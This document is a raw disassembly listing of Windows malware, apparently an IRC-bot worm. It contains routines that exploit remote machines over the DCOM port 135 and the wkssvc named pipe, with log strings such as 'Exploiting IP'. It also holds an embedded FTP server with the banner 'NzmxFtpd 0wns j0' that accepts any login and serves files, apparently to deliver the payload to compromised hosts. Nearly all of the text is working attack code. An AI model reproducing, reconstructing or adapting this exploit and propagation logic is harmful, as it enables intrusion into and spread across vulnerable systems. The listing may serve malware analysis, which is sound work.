		jmp	short loc_404CE5
; ---------------------------------------------------------------------------


loc_404CD3:				; CODE XREF: sub_404C9A+23j
		mov	[ebp+arg_C], ax
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_404CE5:				; CODE XREF: sub_404C9A+37j
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417BEE
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jnz	short loc_404CFE


loc_404CFA:				; CODE XREF: sub_404C9A+A4j
		xor	al, al
		jmp	short loc_404D73
; ---------------------------------------------------------------------------


loc_404CFE:				; CODE XREF: sub_404C9A+5Ej
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417490
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C810D87h
		push	[ebp+arg_20]
		test	eax, eax
		jnz	short loc_404D40
		call	sub_417C62
		pop	ecx
		jmp	short loc_404CFA
; ---------------------------------------------------------------------------


loc_404D40:				; CODE XREF: sub_404C9A+9Cj
		call	sub_417C62
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_404D71
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404C9A
		add	esp, 2Ch
		jmp	short loc_404D73
; ---------------------------------------------------------------------------


loc_404D71:				; CODE XREF: sub_404C9A+B0j
		mov	al, 1


loc_404D73:				; CODE XREF: sub_404C9A+62j
					; sub_404C9A+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404C9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D78	proc near		; CODE XREF: ___:004052D2p
					; ___:004052ECp ...

var_D198	= byte ptr -0D198h
var_9198	= byte ptr -9198h
var_7198	= byte ptr -7198h
var_5198	= byte ptr -5198h
var_3198	= byte ptr -3198h
var_1640	= dword	ptr -1640h
var_D44		= byte ptr -0D44h
var_D3F		= byte ptr -0D3Fh
var_D00		= byte ptr -0D00h
var_894		= byte ptr -894h
var_694		= byte ptr -694h
var_290		= byte ptr -290h
var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_6B		= byte ptr -6Bh
var_6A		= byte ptr -6Ah
var_69		= byte ptr -69h
var_68		= dword	ptr -68h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= word ptr -50h
var_4E		= byte ptr -4Eh
var_4C		= byte ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_AC		= dword	ptr  0B4h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 0D198h
		call	sub_417B70
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+arg_8]
		push	ebx
		push	eax
		call	sub_40DA5C
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jnz	loc_40522C
		push	offset byte_42EDC4
		push	[ebp+arg_4]
		call	sub_40AFAB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_894]
		push	200h
		push	eax
		call	sub_416CC9
		xor	edi, edi
		add	esp, 10h
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jz	loc_40522C
		push	401h
		lea	eax, [ebp+var_694]
		push	edi
		push	eax
		call	sub_417430
		push	0DACh
		lea	eax, [ebp+var_1640]
		push	edi
		push	eax
		call	sub_417430
		push	1B58h
		lea	eax, [ebp+var_3198]
		push	edi
		push	eax
		call	sub_417430
		push	0DABh
		lea	eax, [ebp+var_1640]
		push	41h
		push	eax
		call	sub_417430
		mov	esi, [ebp+arg_0]
		push	5
		shl	esi, 4
		push	offset dword_426E40
		mov	eax, dword ptr (loc_426E9E+2)[esi]
		mov	ecx, dword ptr (loc_426E97+5)[esi]
		mov	[ebp+eax+var_1640], ecx
		lea	eax, [ebp+var_D44]
		push	eax
		call	sub_417490
		push	3Fh
		lea	eax, [ebp+var_D3F]
		push	offset sub_426E58
		push	eax
		call	sub_417490
		add	esp, 48h
		lea	eax, [ebp+var_694]
		push	eax
		lea	eax, [ebp+var_894]
		push	[ebp+var_8]
		push	eax
		call	sub_404C69
		lea	eax, [ebp+var_694]
		push	eax
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_694]
		push	eax
		lea	eax, [ebp+var_D00]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_694]
		push	eax
		call	sub_417AF0
		and	[ebp+eax+var_D00], 0
		add	esp, 20h
		xor	ecx, ecx
		lea	eax, [ebp+var_3198]


loc_404EB0:				; CODE XREF: sub_404D78+14Dj
		movzx	dx, byte ptr [ebp+ecx+var_1640]
		mov	[eax], dx
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 0DACh
		jb	short loc_404EB0
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aS_1	; "\\\\%s"
		lea	eax, [ebp+var_9198]
		push	2000h
		push	eax
		call	sub_41792A
		lea	eax, [ebp+var_9198]
		push	2000h
		push	eax
		lea	eax, [ebp+var_D198]
		push	eax
		call	sub_417CAE
		lea	eax, [ebp+arg_8]
		push	offset a_	; "."
		push	eax
		call	sub_4203F0
		add	esp, 24h
		test	eax, eax
		jz	short loc_404F58
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset loc_425AEC
		lea	eax, [ebp+var_5198]
		push	2000h
		push	eax
		call	sub_41792A
		push	20h
		lea	eax, [ebp+var_90]
		push	edi
		push	eax
		call	sub_417430
		lea	eax, [ebp+var_5198]
		add	esp, 1Ch
		mov	[ebp+var_7C], eax
		mov	eax, offset byte_43C63C
		push	edi
		push	eax
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	dword_441460


loc_404F58:				; CODE XREF: sub_404D78+194j
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc"
		lea	eax, [ebp+var_7198]
		push	2000h
		push	eax
		call	sub_41792A
		add	esp, 10h
		lea	eax, [ebp+var_7198]
		push	edi
		push	edi
		push	3
		push	edi
		push	3
		push	40000000h
		push	eax
		nop
		call	near ptr 7C801A24h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_404F9D


loc_404F96:				; CODE XREF: sub_404D78+31Bj
		push	edi
		push	edi
		jmp	loc_405223
; ---------------------------------------------------------------------------


loc_404F9D:				; CODE XREF: sub_404D78+21Cj
		push	48h
		lea	eax, [ebp+var_6C]
		push	edi
		push	eax
		call	sub_417430
		and	[ebp+var_6B], 0
		push	10h
		pop	eax
		mov	[ebp+var_6C], 5
		mov	[ebp+var_68], eax
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset dword_428004
		push	eax
		mov	[ebp+var_6A], 0Bh
		mov	[ebp+var_69], 3
		mov	[ebp+var_64], 48h
		mov	[ebp+var_62], di
		mov	[ebp+var_60], ebx
		mov	[ebp+var_5C], 10B8h
		mov	[ebp+var_5A], 10B8h
		mov	[ebp+var_58], edi
		mov	[ebp+var_54], ebx
		mov	[ebp+var_50], di
		mov	[ebp+var_4E], 1
		mov	[ebp+var_3C], ebx
		call	sub_417490
		push	10h
		lea	eax, [ebp+var_38]
		push	offset dword_427FF0
		push	eax
		mov	[ebp+var_28], 2
		call	sub_417490
		add	esp, 24h
		lea	eax, [ebp+var_70]
		push	edi
		push	eax
		lea	eax, [ebp+var_6C]
		push	48h
		push	eax
		push	[ebp+var_4]
		nop
		call	near ptr 7C810D87h
		test	eax, eax
		jz	short loc_40508A
		lea	eax, [ebp+var_D198]
		push	eax
		call	sub_417C91
		pop	ecx
		lea	ebx, [eax+eax+12h]


loc_40503B:				; CODE XREF: sub_404D78+2C9j
		test	bl, 3
		jz	short loc_405043
		inc	ebx
		jmp	short loc_40503B
; ---------------------------------------------------------------------------


loc_405043:				; CODE XREF: sub_404D78+2C6j
		cmp	byte ptr (loc_426EA3+1)[esi], 0
		jz	short loc_40504F
		add	ebx, 4


loc_40504F:				; CODE XREF: sub_404D78+2D2j
		lea	eax, [ebp+var_3198]
		push	eax
		call	sub_417C91
		pop	ecx
		lea	eax, [ebx+eax*2+0Eh]


loc_405060:				; CODE XREF: sub_404D78+2EDj
		test	al, 3
		jz	short loc_405067
		inc	eax
		jmp	short loc_405060
; ---------------------------------------------------------------------------


loc_405067:				; CODE XREF: sub_404D78+2EAj
		add	eax, 8
		cmp	byte ptr (loc_426EA3+1)[esi], 0
		jz	short loc_405078
		add	eax, 4
		jmp	short loc_40507A
; ---------------------------------------------------------------------------


loc_405078:				; CODE XREF: sub_404D78+2F9j
		inc	eax
		inc	eax


loc_40507A:				; CODE XREF: sub_404D78+2FEj
		push	eax
		mov	[ebp+var_8], eax
		call	sub_417BEE
		mov	ebx, eax
		pop	ecx
		cmp	ebx, edi
		jnz	short loc_405098


loc_40508A:				; CODE XREF: sub_404D78+2B0j
		push	[ebp+var_4]
		nop
		call	near ptr 7C809B47h
		jmp	loc_404F96
; ---------------------------------------------------------------------------


loc_405098:				; CODE XREF: sub_404D78+310j
		push	[ebp+var_8]
		push	edi
		push	ebx
		call	sub_417430
		push	4
		push	offset dword_426E48
		push	ebx
		call	sub_417490
		lea	eax, [ebp+var_D198]
		push	eax
		call	sub_417C91
		inc	eax
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edi
		mov	eax, [ebx+0Ch]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_D198]
		push	eax
		lea	eax, [ebx+10h]
		push	eax
		call	sub_417BC9
		lea	eax, [ebp+var_D198]
		push	eax
		call	sub_417C91
		lea	eax, [eax+eax+12h]
		add	esp, 28h
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_4050FA


loc_4050F2:				; CODE XREF: sub_404D78+37Dj
		inc	eax
		test	al, 3
		jnz	short loc_4050F2
		mov	[ebp+arg_0], eax


loc_4050FA:				; CODE XREF: sub_404D78+378j
		cmp	byte ptr (loc_426EA3+1)[esi], 0
		jz	short loc_40511C
		push	4
		add	eax, ebx
		push	offset dword_426E50
		push	eax
		call	sub_417490
		add	esp, 0Ch
		add	[ebp+arg_0], 4
		mov	eax, [ebp+arg_0]


loc_40511C:				; CODE XREF: sub_404D78+389j
		add	eax, ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_3198]
		push	eax
		call	sub_417C91
		mov	ecx, eax
		mov	eax, [ebp+var_C]
		inc	ecx
		add	[ebp+arg_0], 0Ch
		mov	[eax+8], ecx
		mov	[eax+4], edi
		mov	ecx, [eax+8]
		mov	[eax], ecx
		lea	eax, [ebp+var_3198]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		push	eax
		call	sub_417BC9
		lea	eax, [ebp+var_3198]
		push	eax
		call	sub_417C91
		mov	ecx, [ebp+arg_0]
		add	esp, 10h
		lea	eax, [ecx+eax*2+2]
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_405179


loc_405171:				; CODE XREF: sub_404D78+3FCj
		inc	eax
		test	al, 3
		jnz	short loc_405171
		mov	[ebp+arg_0], eax


loc_405179:				; CODE XREF: sub_404D78+3F7j
		push	8
		add	eax, ebx
		push	edi
		push	eax
		call	sub_417430
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		add	eax, 8
		cmp	byte ptr (loc_426EA3+1)[esi], 0
		jz	short loc_40519B
		mov	[eax+ebx], edi
		jmp	short loc_4051A1
; ---------------------------------------------------------------------------


loc_40519B:				; CODE XREF: sub_404D78+41Cj
		mov	word ptr [eax+ebx], 1


loc_4051A1:				; CODE XREF: sub_404D78+421j
		push	18h
		lea	eax, [ebp+var_24]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	cl, byte ptr (loc_426EA3+1)[esi]
		and	[ebp+var_23], 0
		and	[ebp+var_22], 0
		push	1
		mov	[ebp+var_1A], di
		pop	eax
		mov	[ebp+var_10], di
		push	eax
		push	10B8h
		push	[ebp+var_8]
		lea	esi, [ebp+var_24]
		neg	cl
		sbb	ecx, ecx
		push	ebx
		and	ecx, 2
		sub	esp, 18h
		add	ecx, 19h
		mov	[ebp+var_24], 5
		push	6
		mov	[ebp+var_E], cx
		pop	ecx
		mov	[ebp+var_21], 3
		mov	edi, esp
		push	[ebp+var_4]
		mov	[ebp+var_20], 10h
		mov	[ebp+var_18], eax
		rep movsd
		call	sub_404C9A
		add	esp, 2Ch
		test	al, al
		push	[ebp+var_4]
		jnz	short loc_405233
		nop
		call	near ptr 7C809B47h
		push	ebx
		call	sub_417C62
		pop	ecx
		push	0
		push	0


loc_405223:				; CODE XREF: sub_404D78+220j
		push	[ebp+var_7C]
		call	dword_441420


loc_40522C:				; CODE XREF: sub_404D78+22j
					; sub_404D78+52j
		xor	eax, eax
		jmp	loc_4052B7
; ---------------------------------------------------------------------------


loc_405233:				; CODE XREF: sub_404D78+498j
		nop
		call	near ptr 7C809B47h
		push	ebx
		call	sub_417C62
		pop	ecx
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_7C]
		call	dword_441420
		lea	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_AC]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp+var_290]
		push	200h
		push	eax
		call	sub_41792A
		push	esi
		lea	eax, [ebp+var_290]
		push	[ebp+arg_B4]
		push	eax
		lea	eax, [ebp+arg_18]
		push	eax
		push	[ebp+arg_4]
		call	sub_40DC10
		lea	eax, [ebp+var_290]
		push	eax
		call	sub_40C4F7
		mov	eax, [ebp+arg_AC]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_428C00[eax]
		push	1
		lea	eax, dword_428C00[eax]
		pop	eax


loc_4052B7:				; CODE XREF: sub_404D78+4B6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404D78	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	1
		rep movsd
		call	sub_404D78
		add	esp, 4
		lea	esi, [esp+0CCh]
		mov	ebx, eax
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	1
		rep movsd
		call	sub_404D78
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_4052FF
		test	ebx, ebx
		jz	short loc_405302


loc_4052FF:				; CODE XREF: ___:004052F9j
		push	1
		pop	eax


loc_405302:				; CODE XREF: ___:004052FDj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_404D78
		add	esp, 4
		lea	esi, [esp+0CCh]
		mov	ebx, eax
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_404D78
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_405349
		test	ebx, ebx
		jz	short loc_40534C


loc_405349:				; CODE XREF: ___:00405343j
		push	1
		pop	eax


loc_40534C:				; CODE XREF: ___:00405347j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405350	proc near		; DATA XREF: sub_4071BD+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		nop
		call	near ptr 71AB664Dh
		push	edi
		call	sub_418000
		push	eax
		call	sub_4173FE
		push	0FEB0h
		push	406h
		call	sub_415EF7
		add	esp, 10h
		mov	dword_43C64C, eax
		push	edi
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		nop
		call	near ptr 71AB3EA1h
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		mov	ax, word ptr dword_43C64C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		nop
		call	near ptr 71AB2B66h
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jge	short loc_405425
		mov	eax, ebx
		jmp	loc_40594C
; ---------------------------------------------------------------------------


loc_405425:				; CODE XREF: sub_405350+CCj
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		mov	[ebp+var_228], ebx
		mov	ebx, dword_4211EC
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_405443:				; CODE XREF: sub_405350+12Cj
					; sub_405350+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 0FFFFFFFFh
		jz	loc_405949
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_405443


loc_40547E:				; CODE XREF: sub_405350+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417430
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417430
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_4203D0
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 481840Fh, 7D3B0000h,	8D7A75F4h, 45C7DC45h, 10DCh, 858D5000h
		dd 0FFFFFDC8h, 0F475FF50h, 0BB52E890h, 0F883716Bh, 58840FFFh
		dd 33000004h, 0D8B539C9h, 76FFFFFDh, 0DC958D16h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4054EF:				; CODE XREF: sub_405350+1ADj
		cmp	[edx], eax
		jz	short loc_4054FF
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_4054EF


loc_4054FF:				; CODE XREF: sub_405350+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_40551D
		cmp	[ebp+var_228], 40h
		jnb	short loc_40551D
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_40551D:				; CODE XREF: sub_405350+1B5j
					; sub_405350+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_405525
		mov	[ebp+var_4], eax


loc_405525:				; CODE XREF: sub_405350+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_405937
; ---------------------------------------------------------------------------
		db 56h,	8Dh, 85h
		dd 0FFFFFD64h, 5750646Ah, 0C14E890h, 0C085716Bh, 958B527Fh
		dd 0FFFFFDD8h, 0D63BC933h, 858D3A76h, 0FFFFFDDCh
; ---------------------------------------------------------------------------


loc_40555C:				; CODE XREF: sub_405350+216j
		cmp	[eax], edi
		jz	short loc_40556A
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40555C
		jmp	short loc_405590
; ---------------------------------------------------------------------------


loc_40556A:				; CODE XREF: sub_405350+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40558A
		lea	eax, [ebp+ecx*4+var_224]


loc_405576:				; CODE XREF: sub_405350+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_405576


loc_40558A:				; CODE XREF: sub_405350+21Dj
		dec	[ebp+var_228]


loc_405590:				; CODE XREF: sub_405350+218j
		push	edi
		nop
		call	near ptr 71AB9639h
		jmp	loc_405937
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_417FCC
		lea	eax, [ebp+var_AC]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_4177D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4055E0
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_405922
; ---------------------------------------------------------------------------


loc_4055E0:				; CODE XREF: sub_405350+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405604
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_405922
; ---------------------------------------------------------------------------


loc_405604:				; CODE XREF: sub_405350+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405628
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_405922
; ---------------------------------------------------------------------------


loc_405628:				; CODE XREF: sub_405350+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40564C
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_405922
; ---------------------------------------------------------------------------


loc_40564C:				; CODE XREF: sub_405350+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42821C
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405670
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_405922
; ---------------------------------------------------------------------------


loc_405670:				; CODE XREF: sub_405350+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AB
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AB
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_405922
; ---------------------------------------------------------------------------


loc_4056AB:				; CODE XREF: sub_405350+335j
					; sub_405350+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056E6
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056E6
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_405922
; ---------------------------------------------------------------------------


loc_4056E6:				; CODE XREF: sub_405350+370j
					; sub_405350+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405734
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_405724:				; CODE XREF: sub_405350+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_40572C:				; CODE XREF: sub_405350+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_405925
; ---------------------------------------------------------------------------


loc_405734:				; CODE XREF: sub_405350+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405775
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_405724
; ---------------------------------------------------------------------------


loc_405775:				; CODE XREF: sub_405350+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405848
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_417FCC
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41791F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41791F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417430
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4173AC
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_417FB5
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4173AC
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_40572C
; ---------------------------------------------------------------------------


loc_405848:				; CODE XREF: sub_405350+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405903
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_405953
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4058F9
		call	sub_4059D0
		cmp	eax, 1
		jnz	loc_405925
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_43C64C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_428080
		push	eax
		call	sub_4173AC
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_4058EA
